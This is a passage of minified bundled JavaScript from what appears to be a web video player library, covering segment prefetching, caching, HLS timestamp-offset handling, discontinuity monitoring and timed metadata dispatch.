Boolean(this.getDecrypter(n))},n.prototype.setShouldDownloadBeCancelledCallback=function(n,t){this.segmentPrefetcher.setShouldDownloadBeCancelledCallback(n,t)},n.prototype.removeShouldDownloadBeCancelledCallback=function(n){this.segmentPrefetcher.removeShouldDownloadBeCancelledCallback(n)},n.prototype.fetch=function(n){var t=this;return this.segmentPrefetcher.prefetchSegment(n).then(function(){var i=t.prefetchedSegments.get(n.mimeType).get(r.getSegmentInfoId(n));return i?Promise.resolve(i.loadingPromise):Promise.reject()})},n.prototype.fetchAll=function(n){this.segmentPrefetcher.prefetchSegments(n)},n.prototype.onPrefetch=function(n){var t=n.segmentInfo.mimeType;this.prefetchedSegments.has(t)||this.prefetchedSegments.set(t,new Map);this.prefetchedSegments.get(t).set(r.getSegmentInfoId(n.segmentInfo),n)},n.prototype.hasPrefetchedSegment=function(n){return Boolean(this.findPrefetchedSegment(n))},n.prototype.getPrefetchedSegment=function(n){var t=this.findPrefetchedSegment(n);return t?t.loadingPromise:null},n.prototype.findPrefetchedSegment=function(n){return this.prefetchedSegments.has(n.mimeType)&&this.prefetchedSegments.get(n.mimeType).get(r.getSegmentInfoId(n))||null},n.prototype.getPrefetchedSegments=function(){return this.prefetchedSegments},n.prototype.removePrefetchedSegment=function(n){this.prefetchedSegments.has(n.mimeType)&&this.prefetchedSegments.get(n.mimeType).delete(r.getSegmentInfoId(n))},n.prototype.clearPrefetchingQueue=function(n){this.segmentPrefetcher.clearPrefetchingQueue(n)},n.prototype.reset=function(){this.segmentPrefetcher.reset();this.prefetchedSegments.clear()},n.prototype.dispose=function(){this.reset();this.segmentPrefetcher.dispose();this.segmentPrefetcher=null;this.prefetchedSegments=null},n}();t.SegmentPrefetchingService=f},81660:function(n,t,i){function f(n){var t=new c.Stream;return t.add(n),t.end(),t}var r;Object.defineProperty(t,"__esModule",{value:!0});t.SegmentManager=t.SegmentService=void 0;var u=i(60997),e=i(79814),o=i(61214),s=i(41661),h=i(46678),c=i(72207),l=function(){function n(n){var t=this;this.context=n;this.disposeSegmentManager=function(n){t.segmentManagerMap.has(n)&&(t.segmentManagerMap.get(n).dispose(),t.segmentManagerMap.delete(n))};this.segmentManagerMap=new Map}return n.prototype.getSegmentManagerKey=function(n,t){var i=void 0===t?{}:t,r=i.id,u=i.lang;return e.MimeTypeHelper.isSubtitle(n)?[n,r,u].filter(Boolean).join("-"):n},n.prototype.add=function(n,t,i){var r=this.get(n.mimeType,i);return r||(r=this.createSegmentManager(n,t),this.segmentManagerMap.set(this.getSegmentManagerKey(n.mimeType,i),r)),r},n.prototype.createSegmentManager=function(n,t){return new r(this.context,n,t)},n.prototype.get=function(n,t){return this.segmentManagerMap.get(this.getSegmentManagerKey(n,t))},n.prototype.disposeOfType=function(n,t){this.disposeSegmentManager(this.getSegmentManagerKey(n,t))},n.prototype.dispose=function(){this.segmentManagerMap.forEach(function(n){return n.dispose()});this.segmentManagerMap.clear()},n}();t.SegmentService=l;r=function(){function n(n,t,i){this.context=n;this.loaderPool=new h.SegmentLoaderPool(n,t);this.initSegmentService=new o.InitSegmentService(n,this.loaderPool,i);this.cache=new s.SegmentCache(n.settings.MAX_NUM_CACHED_SEGMENTS);this.sequence=Promise.resolve(null)}return n.prototype.getSegment=function(n){var t=n.isInitSegment?this.getInitSegment(n):this.getDataSegment(n);return this.sequence=this.sequence.catch(function(){}).then(function(){return t}),this.sequence},n.prototype.getInitSegment=function(n){var t=this;return this.initSegmentLoading?this.initSegmentLoading.then(function(){return t.getInitSegment(n)}):(this.initSegmentLoading=this.initSegmentService.getSegment(n).finally(function(){t.initSegmentLoading=null}),this.initSegmentLoading.then(f))},n.prototype.getDataSegment=function(n){var t=this;return null!=this.initSegmentLoading?this.initSegmentLoading.then(function(){return t.getDataSegmentFromCacheOrLoad(n)}):this.getDataSegmentFromCacheOrLoad(n)},n.prototype.getDataSegmentFromCacheOrLoad=function(n){var t=this.getCachedSegment(n);return null!=t?(this.context.logger.debug("Returning segment from cache for URL: ".concat(n.url)),n.init&&this.attachInitSegment(n.init,t),Promise.resolve(f(t))):this.loadDataSegment(n)},n.prototype.loadDataSegment=function(n){var t=this;return this.loaderPool.load(n).then(function(i){return i.transform(function(i){return n.init&&t.attachInitSegment(n.init,i),i},function(){},function(n){return t.context.logger.error("Loading failed",n),n.message})})},n.prototype.attachInitSegment=function(n,t){var i=this.initSegmentService.getCachedSegment(n);i&&t.setInitSegment(i)},n.prototype.isLoading=function(n){return n?this.loaderPool.getLoadingPeriodIds().includes(n):this.loaderPool.getLoadingPeriodIds().length>0},n.prototype.canLoad=function(){return this.loaderPool.isFreeLoaderAvailable()},n.prototype.cacheSegment=function(n){this.cache.add(n)},n.prototype.hasCachedSegment=function(n){return Boolean(this.getCachedSegment(n))},n.prototype.getCachedSegment=function(n){return n.isInitSegment?this.initSegmentService.getCachedSegment(n):this.cache.get(n)},n.prototype.removeCachedInitSegments=function(n){this.initSegmentService.removeCachedSegments(n)},n.prototype.clearCache=function(n){void 0===n&&(n=!0);n&&this.initSegmentService.removeCachedSegments(function(){return!0});this.cache.clear()},n.prototype.cancel=function(){return this.loaderPool.cancelLoading()},n.prototype.dispose=function(){this.cancel();this.clearCache(!1);this.loaderPool=u.dispose(this.loaderPool);u.dispose(this.initSegmentService)},n}();t.SegmentManager=r},12482:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.TimestampOffsetService=void 0;var f=i(18665),r=i(91520),u=i(16368),e=function(){function n(n,t){this.context=n;this.mimeType=t;this.discontinuityNumbers=new Map;var i=n.sourceContext.sourceIdentifier;this.sourceStore=n.serviceManager.get(f.ServiceName.SourceStoreService,i)}return Object.defineProperty(n.prototype,"logger",{get:function(){return this.context.logger},enumerable:!1,configurable:!0}),n.prototype.maybeAdjustTimestampOffsetAtDiscontinuityChange=function(n,t){var i=n.getSegmentInfo().discontinuitySequenceNumber,r,u;return null==i||n.isInit()?!1:(r=this.discontinuityNumbers.get(n.getMimeType())!==i,u=isNaN(t.getTimestampOffset()),(r||u)&&this.adjustTimestampOffset(n,i,t),this.discontinuityNumbers.set(n.getMimeType(),i),!0)},n.prototype.adjustTimestampOffset=function(n,t,i){var e=r.ModuleManager.get(u.ModuleName.HLS).selectors,h=e.getHlsState,f=e.getPresentationTimeOffset(h(this.sourceStore.getState()),String(t));this.maybeExtrapolateStartTimes(n,t,i);var o=this.calculateEncodedPlaybackTime(n),s=o.encodedPlaybackTime,c=o.shouldUpdatePlaybackTime;null==f&&(f=this.calculatePresentationTimeOffset(n,s,t));this.logger.debug("[".concat(this.mimeType,"], discontinuity: ").concat(t," adjusting PTO to ").concat(f," on segment ").concat(n.getUrl()));i.setTimestampOffset(f);n.getSegmentInfo().presentationTimeOffset=f;n.setPresentationTimeOffset(f);c&&n.setPlaybackTime(s-f)},n.prototype.maybeExtrapolateStartTimes=function(n,t,i){null==n.getSegmentInfo().startTime&&function(n){return"extrapolateStartTimesFromDiscontinuityStarts"in n}(i)&&(this.logger.debug("[".concat(n.getMimeType(),"] no startTime when trying to calculate the PTO for ").concat(t)),i.extrapolateStartTimesFromDiscontinuityStarts(n))},n.prototype.calculatePresentationTimeOffset=function(n,t,i){var f=t-n.getSegmentInfo().startTime,e=r.ModuleManager.get(u.ModuleName.HLS);return this.sourceStore.dispatch(e.actions.setPresentationTimeOffset(String(i),f)),this.logger.debug("[".concat(n.getMimeType(),"] set PTO for discontinuity ").concat(i," to ").concat(f)),f},n.prototype.calculateEncodedPlaybackTime=function(n){var t,f=r.ModuleManager.get(u.ModuleName.ContainerMP4,!1),e=!0,i=f?f.parsePlaybackTime(n,this.logger):n.getBaseMediaDecodeTime()/n.getTimescale();return isNaN(i)&&(i=null!==(t=n.getPlaybackTime())&&void 0!==t?t:n.getSegmentInfo().startTime,e=!1),{encodedPlaybackTime:i,shouldUpdatePlaybackTime:e}},n.prototype.dispose=function(){this.discontinuityNumbers=null;this.sourceStore=null},n}();t.TimestampOffsetService=e},72477:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.UrlInitSegmentProvider=void 0;var r=i(76650),u=i(8272),f=i(41661),e=function(){function n(n,t){this.context=n;this.loaderPool=t;this.cache=new f.SegmentCache(1/0)}return n.prototype.getSegment=function(n){var i=this,t=this.cache.get(n);return(t?Promise.resolve(t):this.loadSegment(n)).then(function(n){return t||i.cacheSegment(n),n})},n.prototype.loadSegment=function(n){return this.loaderPool.load(n).then(function(n){return n.read()}).then(function(t){if(!t.value)throw new Error("SegmentStream error ".concat(n.url));return t.value})},n.prototype.cacheSegment=function(n){this.cache.add(n);this.context.store.dispatch(r.addMetricsValue(n.getMimeType(),u.MetricType.CachedInitSegments,{internalRepId:n.getSegmentInfo().internalRepresentationId}))},n.prototype.getCachedSegment=function(n){return this.cache.get(n)},n.prototype.removeCachedSegments=function(n){this.cache.remove(n)},n.prototype.dispose=function(){this.cache.clear()},n}();t.UrlInitSegmentProvider=e},74830:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.initializeHlsSegmentStartTimes=void 0;var r=i(18665),u=i(91520),f=i(16368),e=i(67550);t.initializeHlsSegmentStartTimes=function(n,t,i){var h=t.sourceContext.sourceIdentifier,o=t.serviceManager.get(r.ServiceName.ManifestService,h),c=u.ModuleManager.get(f.ModuleName.HLS).selectors,v=c.getHlsState,y=c.hasInitializedSegmentStartTimes,l=t.serviceManager.get(r.ServiceName.SourceStoreService,h),a=null==l?void 0:l.getState(),s;o&&a&&!y(v(a))&&(s=n.getRepresentationId().representationId,o.initializeSegmentStartTimesFromStart(s),e.assignSegmentStartTimesFromHlsPlaylist(i.getSegmentListEntries(n.getRepresentationId()),s,o))}},72207:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.Stream=void 0;var u=i(10981),f=i(59305),r=i(6082),e=function(){function n(){var n=this;this.resolveDeferredRead=function(){n.deferredRead&&!n.isEmpty()&&(n.deferredRead.resolve({done:!1,value:n.chunks.shift()}),n.deferredRead=null)};this.state=r.StreamState.Open;this.chunks=[];this.deferredEnded=new u.Deferred;this.deferredEnded.promise.catch(function(){})}return n.prototype.add=function(n){this.state===r.StreamState.Open&&(this.chunks.push(n),this.resolveDeferredRead())},n.prototype.read=function(){if(this.deferredRead)return Promise.reject({name:f.StreamReadError.ParallelRead});if(this.state===r.StreamState.Ended&&this.isEmpty())return Promise.resolve({done:!0});if(this.state===r.StreamState.Aborted)return Promise.reject({name:f.StreamReadError.Aborted,message:this.getError()});this.deferredRead=new u.Deferred;var n=this.deferredRead.promise;return this.resolveDeferredRead(),n},n.prototype.end=function(){this.state===r.StreamState.Open&&(this.state=r.StreamState.Ended,this.deferredRead&&this.isEmpty()&&(this.deferredRead.resolve({done:!0}),this.deferredRead=null),this.deferredEnded.resolve())},n.prototype.abort=function(n){var t,i;this.state===r.StreamState.Open&&(this.state=r.StreamState.Aborted,this.error=n,i={name:r.StreamState.Aborted,message:null!==(t=this.getError())&&void 0!==t?t:""},this.deferredRead&&(this.deferredRead.reject(i),this.deferredRead=null),this.deferredEnded.reject(i))},n.prototype.transform=function(t,i,r){var e=this,u=new n,f=function(){e.read().then(function(n){var o=n.done,e=n.value,r;o?(i&&i(),u.end()):(r=null!=e&&t(e),r&&u.add(r),f())}).catch(function(n){r?u.abort(r(n)):u.abort(n)})};return f(),u},n.prototype.isEmpty=function(){return 0===this.chunks.length},n.prototype.getError=function(){return this.error||null},n}();t.Stream=e},59305:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.StreamReadError=void 0,function(n){n.Aborted="aborted";n.ParallelRead="parallelread"}(i||(t.StreamReadError=i={}))},6082:function(n,t){var i;Object.defineProperty(t,"__esModule",{value:!0});t.StreamState=void 0,function(n){n.Open="open";n.Ended="ended";n.Aborted="aborted"}(i||(t.StreamState=i={}))},19300:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.DiscontinuityMonitor=void 0;var r=i(62510),u=function(){function n(n){var t=this;this.context=n;this.onSeek=function(){t.seekStarted=!0};this.onSeeked=function(){var n=t.context.internalPlayer.getCurrentTime();Object.values(t.delayedSegmentPlaybackData).forEach(function(i){n>=i.playbackTime&&i.playbackTime+i.duration>=n&&t.maybeFirePeriodSwitchEvents(i)});t.delayedSegmentPlaybackData={}};this.currentDiscontinuityNumbers={};this.delayedSegmentPlaybackData={};this.seekStarted=!1;this.context.eventHandler.on(r.PlayerEvent.Seek,this.onSeek,!0);this.context.eventHandler.on(r.PlayerEvent.Seeked,this.onSeeked,!0)}return n.prototype.onSegmentAvailable=function(n){if(!n.isInit()){var i=n.getMimeType(),t=n.getSegmentInfo();this.currentDiscontinuityNumbers[i]?this.seekStarted&&(this.delayedSegmentPlaybackData[n.getMimeType()]={mimeType:n.getMimeType(),discontinuitySequenceNumber:t.discontinuitySequenceNumber,playbackTime:t.startTime,duration:n.getDuration()},this.seekStarted=!1):this.currentDiscontinuityNumbers[i]={discontinuitySequenceNumber:t.discontinuitySequenceNumber,startTime:t.startTime||0}}},n.prototype.maybeFirePeriodSwitchEvents=function(n){var i=n.mimeType,t=n.discontinuitySequenceNumber,f=n.playbackTime,u;null!=t&&this.currentDiscontinuityNumbers[i]&&(u=this.currentDiscontinuityNumbers[i].discontinuitySequenceNumber,u!==t&&(this.shouldFirePeriodSwitchEvent(i,t,f)&&(this.context.eventHandler.dispatchEvent(r.PlayerEvent.PeriodSwitch),this.context.eventHandler.dispatchEvent(r.PlayerEvent.PeriodSwitched,{sourcePeriod:{periodId:String(u)},targetPeriod:{periodId:String(t)}})),this.currentDiscontinuityNumbers[i]={discontinuitySequenceNumber:t,startTime:f}))},n.prototype.shouldFirePeriodSwitchEvent=function(n,t,i){var u=this,f=Object.keys(this.currentDiscontinuityNumbers).filter(function(t){return t!==n}),r=!0;return f.forEach(function(n){var f=u.currentDiscontinuityNumbers[n];f.discontinuitySequenceNumber===t&&Math.abs(i-f.startTime)<1&&(r=!1)}),r},n.prototype.dispose=function(){this.context.eventHandler.off(r.PlayerEvent.Seek,this.onSeek);this.context.eventHandler.off(r.PlayerEvent.Seeked,this.onSeeked)},n}();t.DiscontinuityMonitor=u},48727:function(n,t,i){var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.SegmentInitType=t.Segment=void 0;var r,e=i(81361),f=i(79814),o=i(28915),s=function(){function n(n,t,i,u,f,o,s,h,c,l){void 0===o&&(o=r.NONE);this.inbandEvents=[];this.data=n;this.mimeType=t;this.codec=i;this.periodId=u;this.duration=f;this.initType=o;this.isSegmentIndependentlyDecodable=s;this.encrypted=!1;this.metadata={subtitles:[]};this.networkRequestSize=h;this.representationId=c;this.playbackTime=l;this._isDirty=!1;this.drmInitData=null;n instanceof ArrayBuffer||"string"==typeof n&&(this.data=e.ArrayHelper.stringToArrayWithoutEncoding(n).buffer)}return n.prototype.setDrmKid=function(n){this.drmKid=n},n.prototype.hasDrmKid=function(){return Boolean(this.getDrmKid())},n.prototype.getDrmKid=function(){var n,t,i;if(null!==(i=null!==(n=this.drmKid)&&void 0!==n?n:null===(t=this.initSegment)||void 0===t?void 0:t.getDrmKid())&&void 0!==i)return i},n.prototype.setDrmInitData=function(n){this.drmInitData=n},n.prototype.hasDrmInitData=function(){var n;return(null===(n=this.drmInitData)||void 0===n?void 0:n.length)>0},n.prototype.getDrmInitData=function(){return this.hasDrmInitData()?this.drmInitData:[]},n.prototype.getMimeType=function(){return this.mimeType},n.prototype.isInit=function(){return this.initType===r.INIT},n.prototype.isSelfInit=function(){return this.initType===r.SELF_INIT},n.prototype.isEncrypted=function(){return this.encrypted},n.prototype.setEncrypted=function(n){this.encrypted=n},n.prototype.setUrl=function(n){this.loadedUrl=n},n.prototype.getUrl=function(){return this.loadedUrl},n.prototype.getData=function(){return this.data},n.prototype.setData=function(n){this.data=n},n.prototype.getMetadata=function(){return this.metadata},n.prototype.setMetadata=function(n){this.metadata=n},n.prototype.getPlaybackTime=function(){return this.playbackTime},n.prototype.setPlaybackTime=function(n){this.playbackTime=n},n.prototype.getPlaybackEndTime=function(){return this.playbackTime+this.duration},n.prototype.getPlaybackTimeRange=function(){return this.duration?{start:this.getPlaybackTime(),end:this.getPlaybackEndTime()}:o.getSegmentInfoTimeRange(this.getSegmentInfo())},n.prototype.getBaseMediaDecodeTime=function(){return this.baseMediaDecodeTime},n.prototype.setBaseMediaDecodeTime=function(n){this.baseMediaDecodeTime=n},n.prototype.getPresentationTimeOffset=function(){return this.presentationTimeOffset},n.prototype.setPresentationTimeOffset=function(n){this.presentationTimeOffset=n},n.prototype.getTFDTBoxOffset=function(){return this.tfdtBoxOffset},n.prototype.setTFDTBoxOffset=function(n){this.tfdtBoxOffset=n},n.prototype.getParserMetadataValue=function(n){var t;return this.getParserMetadata()&&this.getParserMetadata()[n]?this.getParserMetadata()[n]:(null===(t=this.getInitSegment())||void 0===t?void 0:t.getParserMetadata())?this.getInitSegment().getParserMetadata()[n]:void 0},n.prototype.getTimescale=function(){return this.getParserMetadataValue("timescale")},n.prototype.getIvSize=function(){return this.getParserMetadataValue("ivSize")},n.prototype.getDefaultSampleDuration=function(){return this.getParserMetadataValue("defaultSampleDuration")},n.prototype.getDefaultSampleSize=function(){return this.getParserMetadataValue("defaultSampleSize")},n.prototype.setTimescale=function(n){this.updateParserMetadata({timescale:n})},n.prototype.getPeriodId=function(){return this.periodId},n.prototype.getCodec=function(){return this.codec},n.prototype.setCodec=function(n){this.codec=n},n.prototype.getDuration=function(){return this.duration},n.prototype.setDuration=function(n){this.duration=n},n.prototype.getNetworkRequestSize=function(){return this.networkRequestSize},n.prototype.getRepresentationId=function(){return this.representationId},n.prototype.getParsedData=function(){return this.parsedData},n.prototype.setParsedData=function(n){this.parsedData=n},n.prototype.getSegmentInfo=function(){return this.segmentInfo},n.prototype.isIndependentlyDecodable=function(){return this.isSegmentIndependentlyDecodable},n.prototype.setSegmentInfo=function(n){this.segmentInfo=n},n.prototype.getMediaInfo=function(){var n={};return this.segmentInfo&&this.segmentInfo.bitrate&&(n.bitrate=this.segmentInfo.bitrate),f.MimeTypeHelper.isAudio(this.mimeType)?this.segmentInfo&&this.segmentInfo.sampleRate&&(n.sampleRate=this.segmentInfo.sampleRate):f.MimeTypeHelper.isVideo(this.mimeType)&&(this.segmentInfo&&this.segmentInfo.width&&(n.width=this.segmentInfo.width),this.segmentInfo&&this.segmentInfo.height&&(n.height=this.segmentInfo.height),this.segmentInfo&&this.segmentInfo.frameRate&&(n.frameRate=this.segmentInfo.frameRate)),n},n.prototype.isDirty=function(){return this._isDirty},n.prototype.setDirty=function(n){this._isDirty=n},n.prototype.setInbandEvents=function(n){this.inbandEvents=n},n.prototype.getInbandEvents=function(){return this.inbandEvents},n.prototype.setLastSegment=function(n){this.lastSegment=n},n.prototype.isLastSegment=function(){return this.lastSegment},n.prototype.wasLoadedFrom=function(n){return this.getUrl().includes(n)},n.prototype.getParserMetadata=function(){return this.parserMetadata},n.prototype.setParserMetadata=function(n){this.parserMetadata=n},n.prototype.updateParserMetadata=function(n){this.parserMetadata=u(u({},this.parserMetadata),n)},n.prototype.setBufferBlockId=function(n){this.bufferBlockId=n},n.prototype.getBufferBlockId=function(){return this.bufferBlockId},n.prototype.setInitSegment=function(n){this.initSegment=n},n.prototype.getInitSegment=function(){return this.initSegment},n}();t.Segment=s,function(n){n[n.NONE=0]="NONE";n[n.INIT=1]="INIT";n[n.SELF_INIT=2]="SELF_INIT"}(r||(t.SegmentInitType=r={}))},92103:function(n,t){function u(n,t){var r=i(n),u=i(t);return r.some(function(n){return u.includes(n)})}function i(n){return[n.url,n.mediaURL].filter(Boolean)}function r(n,t){return null==n?null==t:null!=t&&n.start===t.start&&n.end===t.end}Object.defineProperty(t,"__esModule",{value:!0});t.isIdenticalInitSegmentInfo=t.isIdenticalSegmentInfo=void 0;t.isIdenticalSegmentInfo=function(n,t){var i=u(n,t),f=r(n.byteRange,t.byteRange),e=n.discontinuitySequenceNumber===t.discontinuitySequenceNumber;return i&&f&&e};t.isIdenticalInitSegmentInfo=function(n,t){var i=(null==n?void 0:n.url)===(null==t?void 0:t.url),u=r(null==n?void 0:n.byteRange,null==t?void 0:t.byteRange);return i&&u}},30855:function(n,t,i){Object.defineProperty(t,"__esModule",{value:!0});t.SegmentUnavailabilityHandler=void 0;var r=i(76885),u=function(){function n(n){this.triedRepsForCurrentSegment={};this.wasQualitySwitched=!1;this.context=n}return n.prototype.downloadSuccess=function(n){this.wasQualitySwitched&&n?this.wasQualitySwitched=!1:this.triedRepsForCurrentSegment={}},n.prototype.getNextLowerNotTriedQuality=function(n,t){for(var r=[],i=0;i<n.length&&!n[i]._internalId.equals(t);i++)this.triedRepsForCurrentSegment[n[i]._id]||r.push(n[i]);return r.length>0?r[r.length-1]._internalId:null},n.prototype.switchQuality=function(n,t){this.triedRepsForCurrentSegment[t.representationId]=!0;var i=this.getNextLowerNotTriedQuality(n,t);return i?(this.wasQualitySwitched=!0,i):(this.context.logger.log("no quality left, all tried"),null)},n.prototype.switchBaseURL=function(n){var i=n.availableBaseURLs,t=n.lastUsedBaseURLIndex+1;return(t%=i.length)===n.firstUsedBaseURLIndex?(this.context.logger.log("no base url left, all tried"),null):(n.lastUsedBaseURLIndex=t,n.baseURL=i[t],n.url=r.URLHelper.concatBaseUrlWithPartial(n.baseURL,n.mediaURL),n)},n.prototype.shouldTryAlternatives=function(n){return n>=400&&n<=599||0===n},n}();t.SegmentUnavailabilityHandler=u},38765:function(n,t,i){function b(n){return n.metadata&&n.metadata.length>0&&n.metadata[0].type===r.MetadataType.CUSTOM}function c(n){var t=n.getSegmentInfo();return{uid:btoa(n.getUrl()),url:n.getUrl(),mimeType:n.getMimeType(),playbackTime:n.getPlaybackTime(),presentationTimestamp:n.getBaseMediaDecodeTime()/n.getTimescale(),duration:n.getDuration(),mediaInfo:n.getMediaInfo(),wallClockTime:t.wallClockTime,discontinuitySequenceNumber:t.discontinuitySequenceNumber}}var u=this&&this.__assign||function(){return u=Object.assign||function(n){for(var r,i,t=1,u=arguments.length;t<u;t++)for(i in r=arguments[t])Object.prototype.hasOwnProperty.call(r,i)&&(n[i]=r[i]);return n},u.apply(this,arguments)};Object.defineProperty(t,"__esModule",{value:!0});t.TimedMetadataService=void 0;var e=i(18665),o=i(60997),r=i(62510),l=i(54861),f=i(489),s=i(76650),a=i(28819),v=i(8272),h=i(79814),y=i(38925),p=i(19300),w=function(){function n(n){var i,t=this,u;this.context=n;this.onGenericMetadataAvailable=function(n){if(n.hasOwnProperty("metadata")){var i={metadataType:n.metadataType.toUpperCase(),metadata:n.metadata};(n.start||0===n.start)&&(i.start=n.start);n.end&&(i.end=n.end);t.context.eventHandler.dispatchEvent(r.PlayerEvent.Metadata,i)}};this.inbandMetadataCallback=function(n){n&&n.hasOwnProperty("metadataType")&&t.context.eventHandler.dispatchEvent(r.PlayerEvent.Metadata,{metadataType:n.metadataType,metadata:n.metadata})};this.onSegmentPlayback=function(n){var i=n.metadata.event;t.currentlyPlayedSegment[i.mimeType]=i;t.playbackRepresentationId[i.mimeType]=y.RepresentationId.from(n.metadata.representationId);t.discontinuityMonitor.maybeFirePeriodSwitchEvents(i);t.previousRepresentationIds[i.mimeType]&&t.previousRepresentationIds[i.mimeType].id===i.representationId||t.handlePlaybackInfo(i);t.context.eventHandler.dispatchEvent(r.PlayerEvent.SegmentPlayback,i)};this.previousRepresentationIds={};this.playbackRepresentationId={};this.currentlyPlayedSegment={};this.manifestService=this.context.serviceManager.get(e.ServiceName.ManifestService,n.sourceContext.sourceIdentifier);u=((i={})[f.TimedMetadataType.InBand]=this.inbandMetadataCallback,i[f.TimedMetadataType.SegmentPlayback]=this.onSegmentPlayback,i[f.TimedMetadataType.Manifest]=this.onGenericMetadataAvailable,i[f.TimedMetadataType.EventStream]=this.onGenericMetadataAvailable,i[f.TimedMetadataType.DateRange]=this.onGenericMetadataAvailable,i[f.TimedMetadataType.CustomTag]=this.onGenericMetadataAvailable,i);this.metadataService=new l.MetadataService(n,u);this.discontinuityMonitor=new p.DiscontinuityMonitor(n)}return n.prototype.onSegmentAvailable=function(n){var r,u=this,t=n.segment,f=n.extractedMetadata,e=n.isSegmentOfMainStream,o=n.presentationTimeOffset,i;e?(r=function(n){var i=c(n),t=n.getSegmentInfo();return t.dateTime&&(i.dateTime=t.dateTime),t.representationId&&(i.representationId=t.representationId),i}(t),i=t.getSegmentInfo(),i.metadata&&i.metadata.forEach(function(n){u.processSegmentInfoMetadata(n,r,t.getPeriodId())}),b(i)&&this.handleCustomMetadata(i),this.handleId3Metadata(f,o,t.getPeriodId())):r=c(t);this.registerSegmentPlaybackEvent(t,r);t.getInbandEvents().forEach(function(n){u.processInbandEvent(n,t.getPeriodId())});this.discontinuityMonitor.onSegmentAvailable(t)},n.prototype.registerSegmentPlaybackEvent=function(n,t){if(!n.isInit()){var i=n.getSegmentInfo(),r=n.getMimeType(),u={metadata:{event:t,representationId:{_periodId:i.internalRepresentationId.periodId,_adaptationSetId:i.internalRepresentationId.adaptationSetId,_representationId:i.internalRepresentationId.representationId},mimeType:r}};this.metadataService.addToTimeline(f.TimedMetadataType.SegmentPlayback,t.playbackTime,u);a.getMetricsState(this.context.store.getState())[r]||this.context.store.dispatch(s.initializeMetricsForMimeType(r,this.context.settings));this.context.store.dispatch(s.addMetricsValue(r,v.MetricType.SegmentInformation,{bitrate:8*n.getNetworkRequestSize()/n.getDuration(),duration:n.getDuration(),playbackTime:i.startTime||n.getPlaybackTime(),representationId:n.getRepresentationId()}))}},n.prototype.parseEventStream=function(){var n=this;this.manifestService.getAllPeriods().forEach(function(t){n.manifestService.getEventStreamEvents(t).forEach(function(i){n.processEventStreamEvent(i,t)})})},n.prototype.processEventStreamEvent=function(n,t){var i={metadataType:r.MetadataType.EVENT_STREAM,metadata:n.data,start:n.startTime,end:n.endTime};this.metadataService.addToMetadataParsedService(n.startTime,u(u({},i),{data:n.data}),t._id);this.metadataService.addToTimeline(f.TimedMetadataType.EventStream,n.startTime,i)},n.prototype.getPlaybackRepresentation=function(n){var i=this.context.serviceManager.get(e.ServiceName.ManifestService,this.context.sourceContext.sourceIdentifier),t=u({},i.getRepresentationById(this.playbackRepresentationId[n]));return t&&this.currentlyPlayedSegment[n]&&(t.uid=this.currentlyPlayedSegment[n].uid),t},n.prototype.handlePlaybackInfo=function(n){var t,i;h.MimeTypeHelper.isAudio(n.mimeType)?(t=r.PlayerEvent.AudioPlaybackQualityChanged,i={id:n.representationId,bitrate:parseFloat(n.mediaInfo.bitrate)}):h.MimeTypeHelper.isVideo(n.mimeType)&&(t=r.PlayerEvent.VideoPlaybackQualityChanged,i={id:n.representationId,bitrate:parseFloat(n.mediaInfo.bitrate),width:parseFloat(n.mediaInfo.width),height:parseFloat(n.mediaInfo.height)});t&&this.context.eventHandler.dispatchEvent(t,{targetQuality:i,sourceQuality:this.previousRepresentationIds[n.mimeType]||null});this.previousRepresentationIds[n.mimeType]=i},n.prototype.processDateRangeEvent=function(n,t){var i={metadataType:r.MetadataType.DATERANGE,metadata:n.data,start:n.startTime,end:n.endTime};this.metadataService.addToMetadataParsedService(n.startTime,u(u({},i),{data:n.data}),t);this.metadataService.addToTimeline(f.TimedMetadataType.DateRange,n.startTime,i)},n.prototype.addSegmentToMetadataParsedService=function(n,t){var i=this;n.forEach(function(n){if(n._metadata&&n._metadata.length>0&&n._playbackTime){var u={metadataType:r.MetadataType.CUSTOM,metadata:n._metadata,data:n._metadata,start:n._playbackTime,end:n._playbackTime+n._duration};i.metadataService.addToMetadataParsedService(n._playbackTime,u,t)}})},n.prototype.handleId3Metadata=function(n,t,i){var r=this;n&&Array.isArray(n.id3)&&n.id3.length>0&&n.id3.forEach(function(n){r.publishId3Metadata(n,t,i)})},n.prototype.publishId3Metadata=function(n,t,i){var e=n.presentationTime-t,o={metadataType:r.MetadataType.ID3,metadata:n.data,start:e};this.metadataService.addToMetadataParsedService(e,u(u({},o),{data:n.data}),i);this.metadataService.addToTimeline(f.TimedMetadataType.InBand,e,o)},n.prototype.handleCustomMetadata=function(n){var i=this,t=this.manifestService.getRepresentationById(n.internalRepresentationId);t.SegmentList[0].SegmentURL.forEach(function(u,e){u._media===n.url&&(u._playbackTime||function(n,t,i){for(var r=t,u=i;r>=0;)n[r]._playbackTime=u,u-=n[r]._duration,r--;for(r=t+1,u=i+n[t]._duration;r<n.length;)n[r]._playbackTime=u,u+=n[r]._duration,r++}(t.SegmentList[0].SegmentURL,e,n.startTime),i.metadataService.addToTimeline(f.TimedMetadataType.CustomTag,n.startTime,{metadataType:r.MetadataType.CUSTOM,metadata:u._metadata,start:n.startTime,end:n.startTime+n.duration}))});this.addSegmentToMetadataParsedService(t.SegmentList[0].SegmentURL,n.periodId)},n.prototype.processInbandEvent=function(n,t){var i=n.presentationTime,e={metadataType:r.MetadataType.EMSG,metadata:n,start:i};this.metadataService.addToMetadataParsedService(i,u(u({},e),{data:n}),t);this.metadataService.addToTimeline(f.TimedMetadataType.InBand,i,e)},n.prototype.processSegmentInfoMetadata=function(n,t,i){var 